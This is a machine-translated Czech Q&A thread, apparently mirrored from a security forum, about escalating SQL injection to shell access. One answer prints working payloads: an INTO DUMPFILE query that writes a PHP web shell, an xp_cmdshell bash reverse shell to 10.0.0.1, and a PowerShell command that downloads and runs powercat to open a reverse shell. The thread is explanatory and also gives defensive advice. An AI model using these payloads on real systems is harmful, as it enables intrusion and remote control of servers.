it-swarm-eu.dev

Využití shellu z SQL injekce

Jak to chápu, injekce SQL by měla umožňovat pouze manipulaci a získávání dat, nic víc. Za předpokladu, že nejsou získána žádná hesla, jak lze jednoduchou injekci SQL použít k využití prostředí?

Viděl jsem útoky, o nichž se tvrdí, že je to možné, a pokud by to bylo, rád bych byl schopen se proti nim chránit.

20
Sonny Ordell

Mnoho běžných serverů SQL podporuje funkce, jako například xp_cmdshell, které umožňují provádění libovolných příkazů. Nejsou ve standardu SQL, takže každý databázový software má pro něj odlišné názvy.

Dále existuje SELECT ... INTO OUTFILE, který lze použít k zápisu libovolných souborů s povolením uživatele databáze. Může být možné přepsat skripty Shell, které jsou vyvolány cronem nebo při spuštění. Pokud proces databázového serveru běží na stejném serveru jako webová aplikace (např. Na jednom pronajatém serveru), je možné zapsat soubory .php , které lze vyvolat návštěvou příslušné adresy URL v prohlížeč.

Třetí způsob, jak způsobit poškození, je definovat a provést uložené procedury v databázi. Nebo předefinujte stávající uložené procedury, například funkci, která ověřuje hesla.

Pravděpodobně existuje více způsobů.

Uživatel aplikační databáze by neměl mít oprávnění k provádění funkcí prostředí ani používat INTO OUTFILE ani definovat uložené procedury.

25

Existuje několik způsobů, jak získat Shell. Zde je několik z nich. Odkaz ve spodní části by měl vést k některé vynikající podvádět listy pro mnoho druhů databází, jako je MSSQL, Oracle, MySQL a další.

Dobrým tipem, jak dostat Shell, je mít tento reverzní Shell cheat sheet v zadní kapse.

Outfile

Pokud víte, kam umístit Shell na server (někde přístupný), můžete pomocí následujícího dotazu (mysql) vytvořit například php Shell na webovém serveru:

SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/Shell.php’

Hledání, kam byste měli dát Shell

Musíte vědět, kde je doména. Naučit se, kde je databáze spuštěna, může být užitečné, a tak injekční dotaz (mysql), jako je tento, vám možná řekne o architektuře adresářů:

SELECT @@datadir;

Můžete také mít štěstí, pokud se pokusíte vynutit chybové zprávy ze systému, aby vám řekly, kde běží. Obvykle je tento přístup nejjednodušší, protože mnoho chybových zpráv je velmi

Použití vestavěných funkcí DB (xp_cmdshell)

MSSQL má relativně snadný způsob volání funkcí OS pomocí vestavěné funkce xp_cmdshell. Není to tak snadné v MySQL (obvykle vyžaduje outfile nebo uloženou proceduru). Oracle je zdaleka také snadný, protože umožňuje spuštění kódu Java).

EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'

Výše uvedený výrok vytváří interaktivní (-i) Shell poslech na 10.0.0.1 portu 8080.

Edit : Samozřejmě MSSQL s Bashem je opravdu nepravděpodobné. Na to jsem nepřemýšlel, než jsem viděl komentář. Namísto bash, jeden může dělat reverzní Powershell skript místo toho, takový jako toto:

EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd' 

Powercat si můžete stáhnout zde: https://github.com/besimorhino/powercat

Shell přes uložené procedury

Pokud můžete zřetězit dotazy v bodě injekce, můžete s největší pravděpodobností vytvořit procedury v databázi. Tyto procedury fungují jako funkce, které pak můžete volat s Qury.

Více podrobností viz Shell příkazy z PL SQL .

Jiný

Dobrý zdroj pro injekce: pentest opice

14
Chris Dale

S databází Oracle můžete skutečně zkompilovat a spustit Java kód z dotazu SQL.) Viděl jsem útočníky implementovat základní obal Shell v Java pro Oracle a spusťte jej a sestavte z SQL injekce.

4
chris